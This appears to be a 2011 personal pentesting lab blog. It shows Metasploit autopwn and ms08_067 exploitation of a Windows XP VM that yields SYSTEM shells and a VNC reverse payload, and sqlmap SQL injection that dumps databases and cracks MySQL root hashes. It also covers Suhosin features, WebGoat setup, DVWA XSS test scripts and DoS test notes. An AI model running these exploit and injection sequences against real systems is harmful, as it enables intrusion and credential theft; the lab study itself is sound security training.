msf > db_status
[*] postgresql connected to msf3
msf > hosts
Hosts                                                                                                                                                                                        
=====                                                                                                                                                                                                                                                                                                                                                                             
address  mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------  ---  ----  -------  ---------  -----  -------  ----  --------

msf > db_nmap 192.168.56.101
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-09-30 07:49 WIT
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.0011s latency).
[*] Nmap: Not shown: 996 closed ports
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 135/tcp  open  msrpc
[*] Nmap: 139/tcp  open  netbios-ssn
[*] Nmap: 445/tcp  open  microsoft-ds
[*] Nmap: 3389/tcp open  ms-term-serv
[*] Nmap: MAC Address: 08:00:27:2B:15:80 (Cadmus Computer Systems)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.56.101  08:00:27:2B:15:80                                                


msf > db_autopwn -p -t -e
[*] Analysis completed in 8 seconds (0 vulns / 0 refs)
[*]
[*] =========================================================================
[*]                             Matching Exploit Modules
[*] =========================================================================
[*]   192.168.56.101:135  exploit/windows/dcerpc/ms03_026_dcom  (port match)
[*]   192.168.56.101:139  exploit/freebsd/samba/trans2open  (port match)
[*]   192.168.56.101:139  exploit/linux/samba/chain_reply  (port match)
[*]   192.168.56.101:139  exploit/linux/samba/lsa_transnames_heap  (port match)
[*]   192.168.56.101:139  exploit/linux/samba/trans2open  (port match)
[*]   192.168.56.101:139  exploit/multi/samba/nttrans  (port match)
[*]   192.168.56.101:139  exploit/multi/samba/usermap_script  (port match)
[*]   192.168.56.101:139  exploit/netware/smb/lsass_cifs  (port match)
[*]   192.168.56.101:139  exploit/osx/samba/lsa_transnames_heap  (port match)
[*]   192.168.56.101:139  exploit/solaris/samba/trans2open  (port match)
[*]   192.168.56.101:139  exploit/windows/brightstor/ca_arcserve_342  (port match)
[*]   192.168.56.101:139  exploit/windows/brightstor/etrust_itm_alert  (port match)
[*]   192.168.56.101:139  exploit/windows/smb/ms03_049_netapi  (port match)
[*]   192.168.56.101:139  exploit/windows/smb/ms04_011_lsass  (port match)
[*]   192.168.56.101:139  exploit/windows/smb/ms04_031_netdde  (port match)
----------------------------------cut here------------------------------------------
 (1/51 [0 sessions]): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.56.101:135...
[*] (2/51 [0 sessions]): Launching exploit/freebsd/samba/trans2open against 192.168.56.101:139...
[*] (3/51 [0 sessions]): Launching exploit/linux/samba/chain_reply against 192.168.56.101:139...
[*] (4/51 [0 sessions]): Launching exploit/linux/samba/lsa_transnames_heap against 192.168.56.101:139...
[*] (5/51 [0 sessions]): Launching exploit/linux/samba/trans2open against 192.168.56.101:139...
[*] (6/51 [0 sessions]): Launching exploit/multi/samba/nttrans against 192.168.56.101:139...
[*] (7/51 [0 sessions]): Launching exploit/multi/samba/usermap_script against 192.168.56.101:139...
[*] (8/51 [0 sessions]): Launching exploit/netware/smb/lsass_cifs against 192.168.56.101:139...
[*] (9/51 [0 sessions]): Launching exploit/osx/samba/lsa_transnames_heap against 192.168.56.101:139...
[*] (10/51 [0 sessions]): Launching exploit/solaris/samba/trans2open against 192.168.56.101:139...
[*] (11/51 [0 sessions]): Launching exploit/windows/brightstor/ca_arcserve_342 against 192.168.56.101:139...
[*] (12/51 [0 sessions]): Launching exploit/windows/brightstor/etrust_itm_alert against 192.168.56.101:139...
[*] (13/51 [0 sessions]): Launching exploit/windows/smb/ms03_049_netapi against 192.168.56.101:139...
[*] (14/51 [0 sessions]): Launching exploit/windows/smb/ms04_011_lsass against 192.168.56.101:139...
[*] (15/51 [0 sessions]): Launching exploit/windows/smb/ms04_031_netdde against 192.168.56.101:139...
[*] (16/51 [0 sessions]): Launching exploit/windows/smb/ms05_039_pnp against 192.168.56.101:139...
[*] (17/51 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.56.101:139...
[*] (18/51 [0 sessions]): Launching exploit/windows/smb/ms06_066_nwapi against 192.168.56.101:139...
[*] (19/51 [0 sessions]): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.56.101:139...
[*] (20/51 [0 sessions]): Launching exploit/windows/smb/ms06_070_wkssvc against 192.168.56.101:139...
[*] (21/51 [0 sessions]): Launching exploit/windows/smb/ms07_029_msdns_zonename against 192.168.56.101:139...
[*] (22/51 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.56.101:139...
[*] (23/51 [0 sessions]): Launching exploit/windows/smb/ms10_061_spoolss against 192.168.56.101:139...
[*] (24/51 [0 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.56.101:139...
[*] (25/51 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.56.101:139...
[*] (26/51 [0 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.56.101:139...
----------------------------------cut here------------------------------------------
 (49/51 [0 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.56.101:445...
[*] (50/51 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.56.101:445...
[*] (51/51 [0 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.56.101:445...
[*] (51/51 [0 sessions]): Waiting on 38 launched modules to finish execution...
[*] (51/51 [0 sessions]): Waiting on 25 launched modules to finish execution...
[*] Meterpreter session 1 opened (192.168.56.1:49973 -> 192.168.56.101:20907) at 2011-09-30 07:51:35 +0700
[*] (51/51 [1 sessions]): Waiting on 11 launched modules to finish execution...
[*] Meterpreter session 2 opened (192.168.56.1:58149 -> 192.168.56.101:33496) at 2011-09-30 07:51:37 +0700
[*] (51/51 [2 sessions]): Waiting on 7 launched modules to finish execution...
[*] (51/51 [2 sessions]): Waiting on 6 launched modules to finish execution...

Active sessions
===============

  Id  Type                   Information                     Connection                                  Via
  --  ----                   -----------                     ----------                                  ---
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ SADAHIKE  192.168.56.1:49973 -> 192.168.56.101:20907  exploit/windows/smb/ms08_067_netapi
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ SADAHIKE  192.168.56.1:58149 -> 192.168.56.101:33496  exploit/windows/smb/ms08_067_netapi

[*] =========================================================================
msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1952 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

do whatever you want!!!


OR TRY THIS
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/vncinject/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   AUTOVNC   true             yes       Automatically launch VNC viewer if present
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port
   VNCHOST   127.0.0.1        yes       The local host to use for the VNC proxy
   VNCPORT   5900             yes       The local port to use for the VNC proxy


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf  exploit(ms08_067_netapi) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf  exploit(ms08_067_netapi) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (445440 bytes) to 192.168.56.101
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
[*] Session 3 created in the background.

VNC Viewer Free Edition 4.1.1 for X - built Apr  9 2010 15:52:37
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
msf  exploit(ms08_067_netapi) >
Fri Sep 30 08:14:30 2011
 CConn:       connected to host 127.0.0.1 port 5900

Fri Sep 30 08:14:31 2011
 CConnection: Server supports RFB protocol version 3.8
 CConnection: Using RFB protocol version 3.8
 TXImage:     Using default colormap and visual, TrueColor, depth 24.
 CConn:       Using pixel format depth 6 (8bpp) rgb222
 CConn:       Using ZRLE encoding
 CConn:       Throughput 3781 kbit/s - changing to hextile encoding
 CConn:       Throughput 3781 kbit/s - changing to full colour
 CConn:       Using pixel format depth 24 (32bpp) little-endian rgb888
 CConn:       Using hextile encoding

Fri Sep 30 08:14:32 2011
 CConn:       Throughput 20000 kbit/s - changing to raw encoding
 CConn:       Using raw encoding




now you can control the windows on your on.....:p

I scan with sqlmap and this is the syntax

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/webku3/login.php?" --data "username=27&password=27" --dbs --level=5 --risk=3
sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 22:36:50

[22:36:51] [INFO] using '/pentest/database/sqlmap/output/192.168.56.101/session' as session file
[22:36:51] [INFO] resuming injection data from session file
[22:36:51] [INFO] resuming injection data from session file
[22:36:51] [INFO] resuming back-end DBMS 'mysql 5' from session file
[22:36:51] [INFO] testing connection to the target url
[22:36:51] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: username=27' AND 4232=BENCHMARK(5000000,MD5(CHAR(110,86,112,67))) AND 'UxaS'='UxaS&password=27

Place: POST
Parameter: password
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=27&password=-6012' OR NOT (7812=7812) AND 'FaHO'='FaHO

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: username=27&password=27' AND 3903=BENCHMARK(5000000,MD5(CHAR(120,68,103,113))) AND 'QbLo'='QbLo
---
[22:36:51] [INFO] manual usage of POST payloads requires url encoding
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[22:36:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[22:36:58] [INFO] fetching database names
[22:36:58] [INFO] fetching number of databases
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 9
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': information_schema
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': Joomla
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': dvwa
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': mysql
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': phpmyadmin
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': test
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': webku
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': webku3
[22:36:58] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': wordpress
available databases [9]:
[*] dvwa
[*] information_schema
[*] Joomla
[*] mysql
[*] phpmyadmin
[*] test
[*] webku
[*] webku3
[*] wordpress

[22:36:58] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.56.101'

[*] shutting down at: 22:36:58

and the I try to search for a username and password from the database with sqlmap

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/webku3/login.php?" --data "username=27&password=27" -D phpmyadmin -T user --password --level=5 --risk=3

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 22:37:51

[22:37:52] [INFO] using '/pentest/database/sqlmap/output/192.168.56.101/session' as session file
[22:37:52] [INFO] resuming injection data from session file
[22:37:52] [INFO] resuming injection data from session file
[22:37:52] [INFO] resuming back-end DBMS 'mysql 5' from session file
[22:37:52] [INFO] testing connection to the target url
[22:37:52] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: username=27' AND 4232=BENCHMARK(5000000,MD5(CHAR(110,86,112,67))) AND 'UxaS'='UxaS&password=27

Place: POST
Parameter: password
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=27&password=-6012' OR NOT (7812=7812) AND 'FaHO'='FaHO

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: username=27&password=27' AND 3903=BENCHMARK(5000000,MD5(CHAR(120,68,103,113))) AND 'QbLo'='QbLo
---

[22:37:52] [INFO] manual usage of POST payloads requires url encoding
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[22:37:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[22:37:54] [INFO] fetching database users password hashes
[22:37:54] [INFO] fetching database users
[22:37:54] [INFO] fetching number of database users
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 5
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 'root'@'localhost'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 'root'@'pakdhe-laptop'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 'root'@'127.0.0.1'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 'debian-sys-maint'@'localhost'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 'phpmyadmin'@'localhost'
[22:37:54] [INFO] fetching number of password hashes for user 'root'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 2
[22:37:54] [INFO] fetching password hashes for user 'root'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': *7B4BDBFF8519BFDF2FEBEAF893534A8163E9F170
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[22:37:54] [INFO] fetching number of password hashes for user 'debian-sys-maint'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 1
[22:37:54] [INFO] fetching password hashes for user 'debian-sys-maint'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': *896747F40953077D8AB58F8A3002427D8DC256FE
[22:37:54] [INFO] fetching number of password hashes for user 'phpmyadmin'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': 1
[22:37:54] [INFO] fetching password hashes for user 'phpmyadmin'
[22:37:54] [INFO] read from file '/pentest/database/sqlmap/output/192.168.56.101/session': *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[22:37:57] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[22:37:58] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[22:38:02] [INFO] starting dictionary attack (mysql_passwd)
[22:38:04] [INFO] found: 'root' for user: 'root'                                                                                                                                              
[22:38:05] [INFO] found: 'root' for user: 'phpmyadmin'                                                                                                                                        
database management system users password hashes:                                                                                                                                            
[*] debian-sys-maint [1]:
    password hash: *896747F40953077D8AB58F8A3002427D8DC256FE
[*] phpmyadmin [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root
[*] root [2]:
    password hash: *7B4BDBFF8519BFDF2FEBEAF893534A8163E9F170
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root

[22:39:55] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.56.101'

[*] shutting down at: 22:39:55

Then I try to connect from sqlmap tp to the shell of mysql

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/webku3/login.php?" --data "username=27&password=27" -D phpmyadmin -T user --sql-shell --level=5 --risk=3

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 08:27:56

[08:27:56] [INFO] using '/pentest/database/sqlmap/output/192.168.56.101/session' as session file
[08:27:56] [INFO] resuming injection data from session file
[08:27:56] [INFO] resuming injection data from session file
[08:27:56] [INFO] resuming back-end DBMS 'mysql 5' from session file
[08:27:56] [INFO] testing connection to the target url
[08:27:56] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: username=27' AND 4232=BENCHMARK(5000000,MD5(CHAR(110,86,112,67))) AND 'UxaS'='UxaS&password=27

Place: POST
Parameter: password
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=27&password=-6012' OR NOT (7812=7812) AND 'FaHO'='FaHO

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: username=27&password=27' AND 3903=BENCHMARK(5000000,MD5(CHAR(120,68,103,113))) AND 'QbLo'='QbLo
---

[08:27:56] [INFO] manual usage of POST payloads requires url encoding
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 1
[08:27:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[08:27:59] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> show databases;
do you want to retrieve the SQL statement output? [Y/n/a] y
[08:28:18] [INFO] fetching SQL SELECT statement query output: 'show databases;'
[08:28:18] [WARNING] running in a single-thread mode. please consider usage of --threads option to declare higher number of threads
[08:28:18] [INFO] retrieved:
sql-shell>

But seems it can't connect

to be continued................

Runtime Protection

• Transparent Cookie Encryption
• Protects against different kinds of (Remote-)Include Vulnerabilities 
• disallows Remote URL inclusion (optional: black-/whitelisting), disallows inclusiong of uploaded files, optionally stops directory traversal attacks
• Allows disabling the preg_replace() /e modifier
• Allows disabling eval()
• Protects against infinite recursion through a configureabel maximum execution depth
• Supports per Virtual Host / Directory configureable function black- and whitelists
• Supports a separated function black- and whitelist for evaluated code
• Protects against HTTP Response Splitting Vulnerabilities
• Protects against scripts manipulating the memory_limit
• Protects PHP‘s superglobals against extract() and import_request_vars()
• Adds protection against newline attacks to mail()
• Adds protection against \0 attack on preg_replace()

Session Protection

• Transparent encryption of session data
• Transparent session hijacking protection
• Protection against overlong session identifiers
• Protection against malicious chars in session identifiers

Filtering Features

• Filters ASCIIZ characters from user input
• Ignores GET, POST, COOKIE variables with the following names:

              GLOBALS, _COOKIE, _ENV, _FILES, _GET, _POST, _REQUEST
              _SERVER, _SESSION, HTTP_COOKIE_VARS, HTTP_ENV_VARS
              HTTP_GET_VARS, HTTP_POST_VARS, HTTP_POST_FILES
              HTTP_RAW_POST_DATA, HTTP_SERVER_VARS, HTTP_SESSION_VARS

• Allows enforcing limits on REQUEST variables or separated by type (GET, POST, COOKIE)

             Supports a number of variables per request limit
             Supports a maximum length of variable names [with and without indicies]
             Supports a maximum length of array indicies
             Supports a maximum length of variable values
             Supports a maximum depth of arrays

• Allows only a configureable number of uploaded files
• Supports verification of uploaded files through an external script
• Supports automatic banning of uploaded ELF executables
• Supports automatic banning of uploaded binary files
• Supports automatic stripping of binary content in uploaded files
• Configureable action on violation

                     just block violating variables
                     send HTTP response code
                     redirect the browser
                     execute another PHP script

Logging Features

• Supports multiple log devices (syslog, SAPI module error log, external logging script)
• Supports freely configureable syslog facility and priority
• Supports log device separated selection of alert types to log
• Alerts contain filename and linenumber that triggered it
• Alerts contain the IP address of the user triggering it
• The IP Address can also be extracted from X-Forwarded-For HTTP headers (f.e. for reverse proxy setups)

Before we install WebGoat we need java you can download it in here
and if you want to download WebGoat you can download in here
After that you can extract the file with terminal


p7zip -d WebGoat-OWASP_Standard-5.3_RC1.7z


if you don't have p7zip you can download from terminal


apt-get install p7zip


Then if you want to make your dekstop clean you can move it inside /pentest/web/webgoat you can do it form terminal


mkdir /pentest/web/webgoat
mv WebGoat-5.3_RC1/* /pentest/web/webgoat


now make /pentest/web/webgoat/webgoat.sh executable with

chmod +x /pentest/web/webgoat/webgoat.sh


Now you can run webgoat on port 80 or 8080 running

sh /pentest/web/webgoat/webgoat.sh start80 or sh /pentest/web/webgoat/webgoat.sh start8080

and to stop tomcat and webgoat use

sh /pentest/web/webgoat/webgoat.sh stop


Open up firefox and connect to http://127.0.0.1/webgoat/attack or http://127.0.0.1:8080/webgoat/attack according to the port you use to run tomcat. 



username : guest
password : guest



after that you can use WebGoat

DVWA is to practice or learn the vulnerablity web. In this application include :
Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection Blind
Upload
XSS Reflected
XSS Stored



XSS Reflected
I just try to XSS level low with this script :
<script>alert("XSS LOW")</script>
and the result is like in this picture


And then the next level is medium
In this level I just try with this script
<script language=javascript>alert("XSS Medium");</script>
and the result is like in the picture


The next level is high level
On this level I can't get the right script so I can't solved this level

1. Testing for SQL Wildcard_Attacks
2. D Locking Customer Accounts
In this test we check whether an attacker can lock valid user accounts by repeatedly attempting to log in with a wrong password.
when we try to login by exist account and wrong password or  by not exist account and wrong password we get the following error message:


when we try to register by the axist account we get the following error message:

3. Buffer Overflows
4. User Specified Object Allocation
In this test we check whether it is possible to exhaust server resources by making it allocate a very high number of objects.

Our targets can not be attacked using this method:
 
5. User Input as a Loop Counter
6. Writing User Provided Data to Disk
With this test, we check that it is not possible to cause a DoS condition by filling the target disks with log data
7. Failure to Release Resources
With this test, we check that the application properly releases resources (files and/or memory) after they have been used.
8. Storing too Much Data in Session
In this test, we check whether it is possible to allocate big amounts of data into a user session object in order to make the server exhaust its memory resources.